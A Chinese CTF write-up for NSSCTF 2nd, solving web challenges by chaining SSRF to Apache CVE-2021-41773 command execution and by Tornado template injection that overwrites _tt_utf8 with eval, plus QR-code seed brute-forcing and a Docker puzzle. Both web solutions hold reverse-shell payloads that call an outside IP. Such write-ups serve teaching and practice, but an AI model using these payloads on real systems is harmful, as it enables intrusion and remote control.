NSSCTF 2nd
WEB
MyBox(revenge)
给了一个url的参数,可以利用file读文件
?url=file:///etc/passwd
img
ban了/proc/1/environ
,/start.sh
等非预期
读/app/app.py
拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask, request, redirect import requests, socket, struct from urllib import parse app = Flask(__name__) @app.route('/') def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): if 'proc' in url or 'flag' in url: return 'no!' with open(url[7:], 'r') as f: data = f.read() if url[7:] == '/app/app.py': return data if 'NSSCTF' in data: return 'no!' return data elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, cont ent = url[18:].split('/_', maxsplit=1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b'' while 1: data = s.recv(1024) if data: res += data else: break return res return '' app.run('0.0.0.0', 827)
重点看23行elif url.startswith('mybox://127.0.0.1:'):
,建立了一个到127.0.0.1上的指定端口(827)的TCP的socket通信
相当于一个gopher协议的替换,即把gopher://127.0.0.1改成mybox://127.0.01
然后目的很明显了,gopher打ssrf
1 2 3 4 5 6 7 8 9 10 import urllib.parse test ="""GET /flag HTTP/1.1 Host: 127.0.0.1:80 """ tmp = urllib.parse.quote(test) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'mybox://127.0.0.1:80/' +'_' +newprint (urllib.parse.quote(result))
以为flag在当前目录,回显404,但是这里有一个关键,Apache版本为2.4.49,以前复现过的CVE-2021-41773,可以目录穿越
img
CVE-2021-41773的payload:/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 import urllib.parse test ="""GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 51 bash -c "bash -i &> /dev/tcp/1.12.251.62/4567 0>&1" """ tmp = urllib.parse.quote(test) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'mybox://127.0.0.1:80/' +'_' +newprint (urllib.parse.quote(result))
img
1 2 3 daemon@d22eb7fdd4144138:/bin $ cat /nevvvvvver_f1nd_m3_the_t3ue_flag NSSCTF{dfaa40bc-dab6-433a-a970-ec0e3b5ba084}
MyHurricane
参考https://blog.csdn.net/miuzzx/article/details/123329244
开局源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import tornado.ioloopimport tornado.webimport os BASE_DIR = os.path.dirname(__file__)def waf (data ): bl = ['\'' , '"' , '__' , '(' , ')' , 'or' , 'and' , 'not' , '{{' , '}}' ] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord (c) < 128 ): return False return True class IndexHandler (tornado.web.RequestHandler): def get (self ): with open (__file__, 'r' ) as f: self.finish(f.read()) def post (self ): data = self.get_argument("ssti" ) if waf(data): with open ('1.html' , 'w' ) as f: f.write(f"""<html> <head></head> <body style="font-size: 30px;">{data} </body></html> """ ) f.flush() self.render('1.html' ) else : self.finish('no no no' )if __name__ == "__main__" : app = tornado.web.Application([ (r"/" , IndexHandler), ], compiled_template_cache=False ) app.listen(827 ) tornado.ioloop.IOLoop.current().start()
tornado
ssti,过滤了['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
过滤了{{}}
用{%%}
代替
过滤了and和or其实就是不能用handler
和import
这里利用了_tt_utf8
进行变量覆盖,set _tt_utf8=eval
原理
img
过滤了单引号和双引号,可能要加另一个变量替换(即\(a(\) b)&$b=""),这里利用request.body_arguments[request.method]
,返回的变量名为GET
、POST
...
最后payload:
1 2 3 4 5 ssti={% raw request.body_arguments[request.method][0 ]%0a _tt_utf8 = eval %}&POST=__import__ ('os' ).popen("bash -c 'bash -i >%26 /dev/tcp/1.12.251.62/4567 <%261'" ) ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0 ] %}&POST=__import__ ('os' ).popen("bash -c 'bash -i >%26 /dev/tcp/1.12.251.62/4567 0<%261'" ) ssti={% include /proc/1 /environ %}
img
img
flag在env中
MISC
gift_in_qrcode(revenge)
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import qrcodefrom PIL import Imagefrom random import randrange, getrandbits, seedimport osimport base64 flag = os.getenv("FLAG" )if flag == None : flag = "flag{test}" secret_seed = randrange(1 , 1000 ) seed(secret_seed) reveal = []for i in range (20 ): reveal.append(str (getrandbits(8 ))) target = getrandbits(8 ) reveal = "," .join(reveal) img_qrcode = qrcode.make(reveal) img_qrcode = img_qrcode.crop((35 , 35 , img_qrcode.size[0 ] - 35 , img_qrcode.size[1 ] - 35 )) offset, delta, rate = 50 , 3 , 5 img_qrcode = img_qrcode.resize( (int (img_qrcode.size[0 ] / rate), int (img_qrcode.size[1 ] / rate)), Image.LANCZOS ) img_out = Image.new("RGB" , img_qrcode.size)for y in range (img_qrcode.size[1 ]): for x in range (img_qrcode.size[0 ]): pixel_qrcode = img_qrcode.getpixel((x, y)) if pixel_qrcode == 255 : img_out.putpixel( (x, y), ( randrange(offset, offset + delta), randrange(offset, offset + delta), randrange(offset, offset + delta), ), ) else : img_out.putpixel( (x, y), ( randrange(offset - delta, offset), randrange(offset - delta, offset), randrange(offset - delta, offset), ), ) img_out.save("qrcode.png" )with open ("qrcode.png" , "rb" ) as f: data = f.read()print ("This my gift:" )print (base64.b64encode(data).decode(), "\n" ) ans = input ("What's your answer:" )if ans == str (target): print (flag)else : print ("No no no!" )
题目大致思路:server端给出一个经过像素扰动的qrcode(范围offset, delta, rate = 50, 3, 5
)的base64码,这个qrcode扫出来是一个有20个数字的数组,这些数字是由seed随机产生的,服务端接收1个数字,如果这个数字是qrcode里的数组中的第21个,则输出flag
思路不是很难,因为secret_seed = randrange(1, 1000)
,产生随机数的seed给了范围,所以可以爆破第21个数字。主要难点在于像素扰动扫码以及爆破数字
学习一下wp,使用np.where还原,pyzbar识别二维码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import cv2import base64import numpy as npfrom pyzbar import pyzbarfrom random import getrandbits, seeddef getTarget (rec ): img_bytes = base64.b64decode(rec) img_array = np.frombuffer(img_bytes, np.uint8) img = cv2.imdecode(img_array, cv2.IMREAD_GRAYSCALE) img = np.where(img < 50 , 0 , 255 ) lis = list (map (int , pyzbar.decode(img)[0 ].data.decode().split("," ))) print (lis) for i in range (1 , 1000 ): seed(i) if all (getrandbits(8 ) == lis[j] for j in range (20 )): return str (getrandbits(8 ))if __name__ == '__main__' : rec = b'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' target = getTarget(rec) print (target)
img
Magic Docker
docker run randark/nssctf-round15-magic-docker
pull下来后提示need secret
img
bash进入就行
img
/app下有main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import clickimport randomimport sysimport osfrom time import sleep@click.command() @click.option('--secret' ,help ='default=none,between 0 and 100' ,type =int ) def func (secret ): if str (secret)==str (answer): print ("Congratulations!" ) print ("But where is your flag? (=‵ω′=)" ) else : print ("No! You don't know anything about docker!" ) print ("How dare you! " ) BANNER=""" ███╗ ██╗███████╗███████╗ ██████╗████████╗███████╗ ██████╗ ███╗ ██╗██████╗ ████╗ ██║██╔════╝██╔════╝██╔════╝╚══██╔══╝██╔════╝ ╚════██╗████╗ ██║██╔══██╗ ██╔██╗ ██║███████╗███████╗██║ ██║ █████╗ █████╔╝██╔██╗ ██║██║ ██║ ██║╚██╗██║╚════██║╚════██║██║ ██║ ██╔══╝ ██╔═══╝ ██║╚██╗██║██║ ██║ ██║ ╚████║███████║███████║╚██████╗ ██║ ██║ ███████╗██║ ╚████║██████╔╝ ╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝ ███╗ ███╗ █████╗ ██████╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗███████╗██████╗ ████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝ ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔████╔██║███████║██║ ███╗██║██║ ██║ ██║██║ ██║██║ █████╔╝ █████╗ ██████╔╝ ██║╚██╔╝██║██╔══██║██║ ██║██║██║ ██║ ██║██║ ██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██║ ╚═╝ ██║██║ ██║╚██████╔╝██║╚██████╗ ██████╔╝╚██████╔╝╚██████╗██║ ██╗███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ """ if __name__ == "__main__" : os.system("rm -f /flag" ) print (BANNER) random.seed("NSSCTF 2nd" ) answer=random.randint(0 ,100 ) if len (sys.argv)<2 : print ("You need to give me the secret!" ) else : func()
可以看到启动docker后就会删掉flag,但是这前面func好像没什么用